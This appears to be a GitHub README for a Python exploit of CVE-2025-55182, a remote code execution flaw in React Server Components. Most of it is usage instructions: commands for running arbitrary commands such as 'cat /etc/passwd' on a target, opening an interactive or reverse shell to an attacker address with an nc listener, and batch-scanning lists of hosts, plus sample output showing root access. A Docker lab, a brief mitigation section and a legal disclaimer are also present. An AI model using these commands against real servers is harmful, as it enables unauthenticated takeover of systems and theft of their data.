hujiaozhuzhu/cve-2025-55182_liyonPython-based exploit for CVE-2025-55182 (React Server Components RCE) with interactive shell, reverse shell, batch scanning, and Docker-based vulnerable environment for authorized security testing.
⚠️ Legal Notice: This tool is intended solely for security research, authorized penetration testing, and educational purposes. Using this tool against any system without explicit permission is illegal and unethical.
CVE-2025-55182 is a critical Remote Code Execution (RCE) vulnerability in React Server Components (RSC) that allows an unauthenticated attacker to execute arbitrary code on the server via malicious JavaScript deserialization.
| Attribute | Value |
|---|
| CVE ID | CVE-2025-55182 |
| CVSS Score | 9.8 (Critical) |
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Impact | High (Confidentiality, Integrity, Availability) |
| Affected Component | React Server Components (RSC) |
| Affected Versions | React 18.x - 19.x (specific builds) |
| Disclosure Date | December 3, 2025 |
| CVE Alias | React2Shell |
Root Cause: React Server Components improperly deserialize user-supplied JavaScript objects when processing RSC payloads, allowing an attacker to inject malicious code that is executed on the server.
Attack Vector: Malicious RSC payload in HTTP requests Impact: Unauthenticated remote code execution, server takeover, data leakage
# Clone the repository
git clone https://github.com/hujiaozhuzhu/gju.git
cd gju
# Install dependencies
pip install -r requirements.txt
# Install dependencies
pip install requests
# Execute a command on the vulnerable target
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 -c "whoami"
# Interactive shell mode
python exploit/cve_2025_55182.py -u http://127.0.0.1:3000 --shell
# Custom command
python exploit/cve_2025_55182.py -u http://target.com -c "cat /etc/passwd"
# Establish reverse shell with custom IP/port
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
# Batch scanning
python exploit/batch_scanner.py -f targets.txt
# Verbose mode
python exploit/cve_2025_55182.py -u http://target.com -v
# Custom User-Agent
python exploit/cve_2025_55182.py -u http://target.com --ua "Mozilla/5.0"
cd target
docker-compose up -d
cd target
npm install
npm run dev
Access the vulnerable application: http://localhost:3000
Execute a single command on the vulnerable server:
python exploit/cve_2025_55182.py -u http://target.com -c "id"
Expected Output:
[+] Vulnerability detection successful: React Server Components RCE
[+] Executing command: id
[+] Response:
uid=0(root) gid=0(root) groups=0(root)
Obtain an interactive shell on the vulnerable server:
python exploit/cve_2025_55182.py -u http://target.com --shell
Features:
Establish a reverse shell connection:
# On the attacker machine
nc -lvnp 4444
# Run the exploit tool
python exploit/cve_2025_55182.py -u http://target.com --reverse 192.168.1.5:4444
Scan multiple targets for the vulnerability:
# Create a target file
cat > targets.txt << EOF
http://192.168.1.10:3000
http://192.168.1.11:3000
http://192.168.1.12:3000
EOF
# Run the batch scanner
python exploit/batch_scanner.py -f targets.txt
Upgrade React
npm install react@latest
# Upgrade to the fixed version
Block RSC requests
// Temporarily disable RSC
const config = {
enableRSC: false
}
WAF Rules
# Set up the vulnerable environment
cd target && docker-compose up -d
# Test the vulnerability
python exploit/cve_2025_55182.py -u http://localhost:3000 -c "echo 'CVE-2025-55182 RCE confirmed'"
# Run test suite
python tests/test_exploit.py
This tool demonstrates:
This project is licensed under the MIT License - see the LICENSE file for details.
Important: This tool is intended solely for educational and authorized security testing purposes.
By using this tool, you agree to:
If you discover this vulnerability in a production system:
Report to the vendor
CVE Assignment
Security Community
Remember: Security research should always be ethical and legal. Use your skills to make the internet safer! 🛡️